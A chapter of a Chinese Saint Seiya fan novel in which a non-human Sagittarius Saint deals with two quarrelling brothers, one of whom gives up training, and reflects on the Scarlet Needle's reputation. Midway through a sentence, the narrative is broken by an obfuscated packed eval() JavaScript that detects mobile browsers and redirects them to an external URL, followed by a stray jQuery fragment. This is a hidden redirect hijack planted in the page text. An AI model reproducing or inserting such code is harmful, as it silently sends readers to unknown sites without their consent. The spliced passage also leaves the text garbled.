14.第 14 章
作品:《[圣斗士]迦楼罗今天的饭》 1.
但在某一天,我却只在餐厅里看到了鲁格尼斯的那头鲜艳的红发,往常向来跟他形影不离的鲁科却不见身影:“你弟弟呢?”
本来就在低头吃饭、像是在躲什么东西的鲁格尼斯动作一滞。
我看他僵硬得像是库房里挂着的风干肉,了然道:“吵架了?”
“……嗯。”鲁格尼斯几乎是把头埋在饭碗里,低声承认了。
“对鲁科而言,只要他还愿意跟你说,那么问题就没有到达不可挽回的地步。”我决定对鲁格尼斯传授点经验之谈:“他说了什么,让你这么不赞同他的看法?”
结果鲁格尼斯更僵硬了!他甚至在心中狂呼不好被发现了好想快点走!?
难道是我情绪解读过头了吗?可萨菲利和伊利亚斯就很喜欢我这么做啊?他们天天在外面绷着张脸装大人的样子——哦,伊利亚斯是本身脑回路就跟人的不对头;萨菲利则是笑点太高,很多时候他真不觉得常人会感兴趣的东西是有意思的——但我往往随口说点什么他们心里的小想法,他俩立刻就会变回人类这个年龄的小孩该有的样子了。
再说赛奇不也是老干这种冷不丁精准猜中别人的想法的事?
……嗯~所以这就是圣域里好多人都那么怕赛奇的原因吗?
好吧,看来以后要给这俩不习惯我的小孩留点“个人隐私空间”了。
说话做事向来十分直爽的鲁格尼斯这回却吞吞吐吐的:“也没什么……就是……我和他对、对接下来的……呃——”
看得出来鲁格尼斯很不习惯撒谎,而我也不打算真的强迫他说什么。
如果我想知道事情的来龙去脉并不算难,只要把他的思维彻底读取一遍就行了。但那样就违背了鲁格尼斯的个人自愿原则,换言之,不适合现在还是圣斗士的我。
我把鲁格尼斯喜欢的一碟小菜放到他面前:“不想说就不必强迫自己,更不要用谎言来修饰话语。”
“既然不是什么重要的事,就先吃饭吧。等你什么时候想说了,再对我说也不迟。”
2.
在鲁格尼斯闷声吃完离开的半个小时后,我看到鲁科才小心翼翼地摸进射手宫的餐厅。
鲁科跟做贼一样摸进来的时候,一抬头便见我正在餐厅里坐着。他倒没有被吓到,反而十分平静地和我打了个招呼:“乌瑟玛瑞大人,中午好,您吃过了吗?”
很好,这小孩躲的只是他哥。
我十分欣慰,这些年没白替狄米特里厄斯忙的时候照顾他们了。
——好吧,虽然照顾鲁格尼斯和鲁科的主要是美提他们,我就是个纯挂名在射手宫的。
“我在等萨菲利。”我直接把正在赶回圣域的路上的萨菲利搬出来当幌子:“他比你师父早离开一天,按理来说很快就能回来了。”
鲁科也没多怀疑,他习惯性顺着别人的话题往下说:“我听师父说,萨菲利的速度在黄金圣斗士中也是翘楚,到达了‘神速’的境地,甚至连每次执行完成任务的速度也是数一数二的呢。想来这次也能带着好消息迅速回到圣域吧。”
是啊,因为办事效率又高,行事作风也十分稳重,小小年龄就一副老成练达的做派。所以萨菲利是赛奇现在最爱使唤的黄金圣斗士,没有之一。
就连已经快要被圣域的人们当成传奇的伊利亚斯都比不上了。
更不要说萨菲利拥有一项狄米特里厄斯、我、伊利亚斯都没有的“优势”——传闻中便能给对手带来剧烈难忍、乃至令人发狂的疼痛的【猩红毒针】。
猩红毒针这个招数总共有十五针,一般来说,普通人或者是身体抱恙者在被刺入第一、二针的时候便会因痛苦难耐而失去意识;在刺出第五击左右,犹如天蝎的猛毒便会让敌人因剧痛乞求饶命、陷入昏迷、耐痛性低的恐怕会直接由疼痛死亡;到了第十击左右,即使不死,对神经的强烈刺激也会让人发狂;就算拥有无视疼痛的手段,到了第十四击,亦会全身麻痹,失去五感;等到第十五击的“安达里士”,敌人便会因为全身大出血而必死无疑。
为什么我这么清楚?当然是因为要教萨菲利——才怪,是上一届圣战时的天蝎座亲口对我说的。
然而当时穿着招工兄弟白送的人类外表的我在皮囊之下压根不是人类的构造,更没有人类的感觉——当然,现在也没有,偶尔要模拟受伤等情况流出的“血”都是我制作的氧化铁溶液——总之那个天蝎座白白浪费了一片善心来劝我这个敌人,最终被不知道为什么怒火竟有三丈高的法拉奥在挖心后又给天寿星破坏其体内的空间后切得粉碎。
——总而言之,在某些时候,“猩红毒针”这个招数对智慧生命所带来的震慑和恐吓效果,可比那些单纯追求破坏力的招式有效多了。
故而现在圣域中的一部分秩序维护相关的事务,也被赛奇委派给萨菲利负责。效果不止可以说是非常好,甚至比赛奇预想中的还好得有些过头了。毕竟圣域里最不缺的就是流言的传播,人们在除了训练以外又没有别的娱乐休闲活动时,就会格外爱聚在一起讲些有的没的的事情。
就像猩红毒针的本意其实是留给敌人思考的时间,让其选择投降或是死亡,在那些动辄夺人性命的招数中甚至可以称为“仁慈”。
以客观理性而言,剧痛与麻痹只是天蝎座的一种用来反制敌人行动的手段,而不是刻意折磨敌人的目的,和他们的念动波类似。如果用雅典娜最初的天蝎座圣斗士的出身和行为方式来理解,就能轻松理解。毕竟那是与刺杀了法厄同而被升入星空的天蝎有着某种亲缘关系、被雅典娜由毒蝎所化的“人”嘛。
然而在如今的流言之下,猩红毒针是否真的能够只一击就会让人痛得求生不得求死不能、两针让人血液倒流浑身僵直、三针让人七窍流血死相狰狞——这些事已经不重要了,只要大家都如此这般说,并对这一点深信不疑,那么这件事就会是真的。
在圣域的人们一通人云亦云之后,即使萨菲利现在也就才到成年人的腰高,也不妨碍那些心里有鬼的家伙看到他就缩成一小团、坦荡之人虽不怕他但也惧他,在人们眼中活脱像是一个会随时随地没有缘由就骤然对人发难的小煞神。
赛奇这个教皇是可以没那么多事要操心、能够舒坦点了,但我对他这做法就有些难评了。
在来圣域后,我就吐槽过圣域对人们心理健康不重视的问题,结果这些年里这个弊端——那自然是一点改进都没有。
毕竟在圣域的观念里,能在圣斗士的训练里四肢健全的活下来就不错了。什么,思想有毛病?那一定是对所要守护的这片大地的爱还不够深沉!对雅典娜还不够信任!只要多去爱、去相信友情啊、羁绊啊、未来啊什么的就完事了!所有问题都能水到渠成地解决了!
说实话我不太理解。但既然圣域一直以来都是这样做的,并且赛奇这个教皇都在我数次委婉明示后一副“没有关系我相信他们不会有问题”的态度,那我也就懒得多管
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15083987|162231||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了,就当这是圣域的特色吧!
但问题是——即使再不重视,哪有一上来就让小孩隔三差五看各种乱七八糟破事的!就算萨菲利经常表现得比大人还靠谱,他的内心终归也就是个小孩啊!他以前当候补生时的那些朋友,都因为传言要么不敢靠近他、要么试图巴结讨好他而被他或是公事公办或是主动划清距离了!
萨菲利到时候要是在心理上出了什么毛病、跟那个天秤座的前教皇一样干出点什么好事,我看赛奇到哪儿找后悔药去。
3.
我一边分神,一边听着鲁科如同往常一般跟我聊一些他觉得有意思的事情,比如他在双鱼宫养的一些盆栽、被狄米特里厄斯打扫卫生时刻意留下来的能抓飞虫的墙角的蜘蛛、还有他现在学会在用更多的花样纹路来遮挡衣服上的缝补痕迹……等等诸如此类。都是些不仔细观察就会忽视掉的、日常中的小事。
看着正在吃饭的鲁科,我只觉得怪了,他这也没什么毛病啊?这小孩的心态都堪称能足以领先圣域的十成人了!怎么不久前鲁格尼斯却是一副:“我弟弟要完蛋了”的架势?
我正想再问问,却没料到赛奇突然用小宇宙给我发传唤条:【乌瑟玛瑞,麻烦你到教皇厅来一趟,有件事情我想拜托给你。】
【来了。】我随口给赛奇发了条回复,表示我收到通知了。
“看来只能下次再听你的分享了,鲁科。”我站起身,射手座黄金圣衣的翅膀拂过鲁科,代我摸了摸这孩子的头:“另外,鲁格尼斯刚刚因为你的事,可是担心得连饭都没怎么吃下去。
“虽然他的行为或许与你所期望的不同,但在他心中,他对你的感情远胜过对他自身。
“你们是一体同心的兄弟,不是吗?再和自己的兄弟好好地沟通一下吧。”
鲁科愣了愣,但他很快便回神,笑着向我离开的方向说:“嗯,我会的。”
4.
然而,当我回到圣域的时候,却发现鲁科已经不在十二宫了。
双鱼宫里只有狄米特里厄斯和鲁格尼斯,鲁科却一个人出现在圣域外围的后勤人员的居住区中。
当我找到狄米特里厄斯时,从他那里听到了一个在我预料之外的消息。
“……是吗,鲁科放弃了成为圣斗士的路途吗?”我下意识地按照这些年里在相似场景里模仿出的行为规律,对狄米特里厄斯这么说到:“真是遗憾啊。”
狄米特里厄斯叹了口气:“那孩子跟我说,他不像鲁格尼斯那样坚韧,也没有足够坚定的信念,他说自己一定是成不了圣斗士的,不如早早放弃,去过普通人的生活。
“我知道,他是不想和自己的兄长去争夺同一件圣衣,所以干脆选择放弃了。
“虽然我也跟他说过,像是教皇大人和长老大人便是有着同样的师承、继承了不同的圣衣的例子。但他态度过于坚定,我劝不回他……梅尔?”
“我去看看。”尝试再三后,我实在不知道在这种情况下,身为把鲁科带回圣域的“射手座”、身为一直在关照他的前辈,这样的我除去对人类行为规律化的模仿以外,究竟应该有着什么样的表情和心情。我干脆转身径直离开双鱼宫:“我要亲眼看到他的心声。”
5.
在曾经的岁月中,我对于那些无法领会的人类心中的所思所想,向来都是干脆直接选择放弃理解。
但是,为什么?
……为何这一次的“放弃”要比往常更难做出决定?